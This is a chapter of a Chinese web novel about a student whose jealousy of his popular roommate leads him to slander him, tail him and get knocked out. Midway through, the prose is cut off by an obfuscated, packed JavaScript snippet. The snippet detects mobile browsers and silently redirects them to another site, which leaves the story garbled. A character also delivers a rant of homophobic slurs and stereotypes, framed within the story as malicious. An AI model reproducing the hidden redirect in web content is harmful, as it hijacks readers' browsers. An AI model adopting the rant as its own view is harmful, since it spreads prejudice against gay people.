“不用。”姜津喉咙略微发干,敏锐地察觉到自己的名字惹起别人的排斥,闷声说,“你们去吃就行了。” 见他那么说,魏黎也不好坚持些什么,跟着其他人离开,还带上了房门。 锁扣刚落,姜津就听见其中几个人在外面毫不避讳地讲话。 “魏黎,你邀请他干什么?” “就是,他跟我们又相处不来。” “谁想跟他同桌吃饭啊?” …… 声音由近及远,逐渐消散。 姜津扯过被子,出神地望着天花板,嫉恨怨毒的情绪几乎要把他淹没,呼吸都不畅。 过几天,学校通知爱心社收拾办公室,姜津过来帮逢绪搬东西,累得大汗淋漓。两个人一直忙到傍晚,末了一起走在图书馆前的一条小路。 凉风习习,逢绪突然开口:“城西新开了一家书店,有很多老书,装修也很有意思。” 她拢了拢头发,看向姜津,轻声问道:“周日要一起去吗?” 姜津受宠若惊,结结巴巴地说:“好、好呀。” 连续几天低迷的情绪得到缓解,他没有料到逢绪能主动约他出去。 这算什么,约会吗? 逢绪和他的约会。 一想到这,他有些飘飘然,激动的心情不断蔓延。看来关系进展比自己想象中的还要顺利,已经可以约出去玩的程度了。 回顾他的二十年,还没有被任何人约出去玩过,不管男女,更何况,是高冷优秀的逢绪。 一时间他走路都轻快不少。 他没有经验,不知道接下来该怎么说,只觉得心情激动,贸然开口反而破坏了此刻的氛围。 与此同时,不料后面有两个女生聊天的声音传进他们的耳朵。她们还是在谈魏黎的事情。声音有点大,姜津和逢绪很难不注意。 “怪不得他一直都没有女朋友,原来喜欢男的。” “我那个一直暗恋魏黎的室友哭了一下午呢。” “唉,这也没办法。不过他当场出柜还是挺有种的,平时也参加那么多公益活动,确实是一个好人。我在现场看的时候别提多震撼了,那屏幕都摆不下。” 那两个女生边走边闲聊,转过弯就走掉了。 姜津偷偷瞄了逢绪一眼,对方脸上没有什么表情。而他不同,只要有人当他面夸奖魏黎,他就有些不适。 逢绪开口,顺着刚才路人的话头:“魏黎确实挺让人出乎意料的。” 其实她这句并没有什么意思,她对魏黎喜欢男人这件事也没有什么看法,不贬不褒。毕竟是人家的私事,哪怕魏黎喜欢的不是人,也与她完全没有关系。 但落到另一个人的有失偏颇的耳朵里,听着就像另外一种含义了。 姜津心里突然涌现出一股不安:“可是你知道的吧,他喜欢男人,是个男同,是gay。” 他真的不想从逢绪嘴里听到魏黎的好话,一股强烈的愤慨从他的胸腔蔓延出来。 逢绪不明所以,停下脚步,疑惑地望向他。 姜津脑袋一热,结结巴巴,嘴在脑子前面跑:“我、我看过网上的新闻。他们男同都、都不是什么好东西,经常搞一些聚众淫.乱,多人运动,要么就光明正大地在街上,监控都拍下来了……又脏又恶心,毫无廉耻心…… “他们有些人可变态了,你可能都想象不到,既破坏社会公序良俗,又违法犯法……魏黎天天跟他们那群人接触,近朱者赤近墨者黑,慢慢也沾染上这种癖好了……男同就是违反传统美德的,是逆天而行……” 似乎他只有在逢绪面前将魏黎踩到泥坑里,才会善罢甘休。 逢绪皱皱眉头,她对姜津在背后议论人的行为有些不适,更何况说的还是相处时间长、表面上还过得去的室友。倘若一个人连身边较为亲近的人都说不出什么好话,别提其他人了。 她本想开口阻拦,不料,身侧绿化带后的长椅边突然响起一个熟悉的声音。 “姜津。” 两人一愣,齐刷刷扭过头。 等看清楚那是谁的时候,姜津身体里的血液几乎都要凝固了。 周围没有路灯,他和逢绪走到这里的时候,压根没有注意到几步之外绿化带后的长椅上背对他们坐着一个人。惨白的月光照在魏黎的脸上,里里外外都蔓延出一种恐怖的氛围。 偏偏魏黎还是笑着的,语气一如既往。 “好巧。”魏黎上前一步,看了眼姜津又将视线转向逢绪,“没想到在这里遇到你们。” 姜津一下子提心吊胆,他不清楚刚才他说的话魏黎有没有听见。 其实还有一个更坏的猜测,他听见了,还是全过程。姜津顿时尴尬不已,低头望着地面,不知道该怎么开口。 逢绪倒是坦然自若,率先打破僵局,点点头:“晚上好,你怎么在这?” 魏黎耸耸肩:“刚刚太累,就就近找个长椅不小心睡着,迷迷糊糊的时候听见你们在说话,就立马醒过来了。” 逢绪“哦”了一声,看起来魏黎一副泰然的样子,估计没听见刚才姜津说的坏话。 有第三个人的加入,她也不想继续聊下去了。于是逢绪朝依旧在发愣的姜津说:“今天先这样吧,时候也不早了,我先回宿舍。” 姜津这才稍稍回神,急匆又热切地说:“我送你回去吧。” 魏黎在旁边看着,不置一词。 逢绪摇摇头,奇怪地看了姜津一眼:“不用,S大校内很安全,不用你送。你跟魏黎也赶快回去吧。” 她刚走几步,又想起什么,转过头提醒姜津:“周日晚上七点,城西书店,不见不散。” “不见不散……” 魏黎在旁边,姜津如坐针毡。他潜意识里觉得对方就是应该听见了,但转念一想又不一定,只要是正常人听见自己非议的时候应该是怒不可遏的。 可是魏黎现在一切照常,嘴角的弧度跟平时一模一样,似乎没有受到影响。 同行回宿舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14849019|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,他稍稍落后魏黎一两步,看着对方三分之一的侧脸,心里七上八下的。 最近怎么就那么倒霉,每次都被魏黎亲自抓包呢? 放松一点,姜津。他对自己说,说不定魏黎就是没有听见,不必什么事情都往最坏的方向去想。幸运之神总不至于每次都不站在自己那边吧? 一想到这,他心里稍稍安稳了一些。然后只听见前方魏黎冷不丁地开口:“逢绪很难约的。” 姜津一下子没反应过来,下意识“啊”了一声。 魏黎稍稍侧头,姜津一个激灵立马快步跟上。 “逢绪很难追。最开始的时候她的追求者甚多,她都不带搭理的。”魏黎动了动眼珠,漆黑的玻璃球似的俯视姜津,突然一笑,“你能得到她的邀约,真是难得。” 最后四个字他放轻了声音,咬字也有些奇怪,显得阴阳怪气的。 不过姜津没有听出来,他以为对方不知道为何突然开始调侃,稍稍低头嗫嚅道:“还、还好吧。” 他感到莫名忐忑,回过神来:“不,也不算是约会了……” 如果现在有人遮住魏黎下半张微笑的脸,就会发现他的眼睛毫无笑意,眼底漆黑一片,月光都照不进去。这张面皮仿佛不管什么情绪,都死板地挂在脸上。 魏黎突然转移了话题,“对了,我还忘了,你觉得我那天答辩怎么样?我看见你也来了。” 真是哪壶不开提哪壶。 姜津咬牙切齿,努力扯出了一个笑:“挺好的。” “其实也多亏了你的祝福。”魏黎轻轻一笑,“那天我太紧张,如果不是想起你的话,我估计也不会发挥的那么好。” 姜津这时候真想抽自己嘴巴两下。 不就是得到校长奖学金吗?不就是在几千个本科生中脱颖而出吗?有什么了不起的。至于天天挂在嘴边吗? 魏黎他现在又提起来,是什么意思? “我也没想到之后反响会那么大,大家都还是很友好。”魏黎无意之中瞥了姜津一眼,“你还记得我答辩中提过去会所兼职的事情吗?” “记得。” 怎么会不记得?姜津甚至自己跟踪他。 魏黎叹了一口气,满脸愁容:“最近那里有了一点小事,这周日我得早点过去。但跟正在进行的一个志愿活动冲突了。我想拜托你一件事,如果学校里有什么情况,可以立刻告诉我吗?” 姜津提取到关键信息:“那里出事了?什么事?” 只见魏黎的表情欲言又止,似乎很难开口。他扭捏半天,最终还是摇摇头:“不太方便跟你讲,比较麻烦,你只需要知道我得前去处理。” 他掀起眼皮来,声音无比诚恳:“你能答应帮我这一个小忙吗?” 姜津心里迅速盘算着。难不成夜色出了什么大事?六点去夜色,七点去书店,完全来得及。这次机会难得,同性恋的丑闻已经无法拿捏对方,是时候寻找新的出路了。 他非要搞清楚不可。 “当然没问题,我很乐意。”姜津轻声说。 摩拳擦掌中,姜津终于迎来了周日。 第一次约会,姜津中午就开始收拾东西,小纸巾,充电宝,甚至热水都灌了满满一壶。有备无患嘛。 人家逢绪最讨厌的就是迟到爽约,自己还得早点从夜色出发。 他跟踪魏黎到一个熟悉的地方,正是那些达官显贵进出夜色的地下停车场。他心里正嘀咕,魏黎为什么突然换了一条路走。突然一眨眼,魏黎就从一个石柱后面消失了。 姜津一愣,立马小跑跟上去。 灯光大亮,豪车云集,空无一人,哪里还有魏黎的影子? 机不可失失不再来,错过今天不知道什么时候还会有机会。正当他万分焦急地打算四处张望的时候,身后突然传来一阵疾驰的脚步声。 姜津心一凛,还没来得及回头,后脑勺突然一阵剧痛,像是遭到了什么重击。 整个世界旋转、颠倒,他整个人趴在地上,动弹不得。 下一秒,一阵难以言喻的困意袭来,姜津不可避免地陷入到了深邃可怖的黑暗之中。